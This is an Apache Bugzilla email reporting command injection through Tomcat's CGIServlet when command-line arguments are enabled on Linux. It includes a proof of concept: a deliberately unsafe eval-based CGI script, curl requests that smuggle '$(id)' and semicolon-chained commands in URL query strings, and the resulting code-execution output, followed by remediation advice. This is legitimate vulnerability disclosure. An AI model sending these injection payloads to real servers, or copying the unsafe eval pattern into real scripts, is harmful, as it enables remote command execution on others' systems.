https://bz.apache.org/bugzilla/show_bug.cgi?id=70141

            Bug ID: 70141
           Summary: Shell Command Injection via CGIServlet Argument
                    Injection on Linux
           Product: Tomcat 11
           Version: unspecified
          Hardware: PC
            Status: NEW
          Severity: normal
          Priority: P2
         Component: Examples
          Assignee: [email protected]
          Reporter: [email protected]
  Target Milestone: -------

Created attachment 40196
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=40196&action=edit
POC

Severity: High (when CGI is enabled; enableCmdLineArguments is false by
default)
Status: Confirmed — live RCE demonstrated
Condition: enableCmdLineArguments=true set in servlet config; CGI not enabled
by default
Affected file: java/org/apache/catalina/servlets/CGIServlet.java
Description

CGIServlet supports an optional feature (enableCmdLineArguments) that parses
query-string tokens without = into positional arguments for the CGI executable.

On non-Windows platforms, the default cmdLineArgumentsDecoded restriction is
null:

// CGIServlet.java
if (IS_WINDOWS) {
    DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN =
        Pattern.compile("[\\w\\Q-.\\/:\\E]+");   // restrictive allowlist
} else {
    DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN = null;  // no restriction
}

null means all decoded characters are accepted — shell metacharacters, command
substitution tokens, and pipeline operators are all passed as positional
arguments to the CGI subprocess.

Tomcat uses Runtime.exec(String[]) which does not invoke a shell directly.
Shell injection occurs when the CGI script itself passes arguments to a shell
unsafely (e.g., via eval, unquoted $@, passing to sh -c, etc.) — a common
pattern in shell-script CGI handlers.
Proof of Concept — Confirmed RCE

Setup (web.xml in the examples webapp):

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
        <param-name>enableCmdLineArguments</param-name>
        <param-value>true</param-value>
    </init-param>
    <init-param>
        <param-name>executable</param-name>
        <param-value></param-value>
    </init-param>
    <init-param>
        <param-name>cgiPathPrefix</param-name>
        <param-value>WEB-INF/cgi</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

Example CGI script (WEB-INF/cgi/test.sh) — represents a real-world pattern
where a script passes its first argument to eval:

#!/bin/sh
echo "Content-Type: text/plain"
echo ""
echo "Positional args: $@"
eval "echo Evaluated: $1"   # unsafe: eval with unvalidated user input

Attack — command substitution injection via URL query string:

# Encode $(id) as %24%28id%29 in the URL
curl -s "http://127.0.0.1:8080/examples/cgi-bin/test.sh?%24%28id%29";

Confirmed RCE output:

=== CGI Argument Injection Demo ===
QUERY_STRING: %24%28id%29
Positional args: $(id)
=== Unsafe eval of first argument ===
Evaluated: uid=1000(runner) gid=1000(runner) groups=1000(runner)

$(id) was decoded from the URL, passed as a positional argument, and eval
executed it — yielding the server's user identity.

Semicolon-based chaining:

curl -s
"http://127.0.0.1:8080/examples/cgi-bin/test.sh?x%3Becho+INJECTED_COMMAND";
# Passes: x;echo INJECTED_COMMAND  as a single argument

Why Linux Default Is Especially Dangerous

On Windows the servlet applies [\w\Q-.\\/:\E]+ — blocking metacharacters at the
framework level. On Linux the default is effectively "allow everything,"
silently removing the safety net that Windows operators get. A developer
enabling enableCmdLineArguments=true on Linux with the intent of restricting
patterns via the Windows behavior will find no restriction is applied.
Remediation

    Do not set enableCmdLineArguments=true unless strictly required — default
is false.
    If enabled on Linux, explicitly set a restrictive cmdLineArgumentsDecoded
allowlist:

    <init-param>
        <param-name>cmdLineArgumentsDecoded</param-name>
        <param-value>[\w\Q-\E]+</param-value>
    </init-param>

    Emit a startup warning when enableCmdLineArguments=true is set without an
explicit cmdLineArgumentsDecoded on non-Windows — the null default is silent
and dangerous.
    CGI shell scripts must use properly quoted argument expansion ("$1" not $1,
avoid eval with user args).

-- 
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to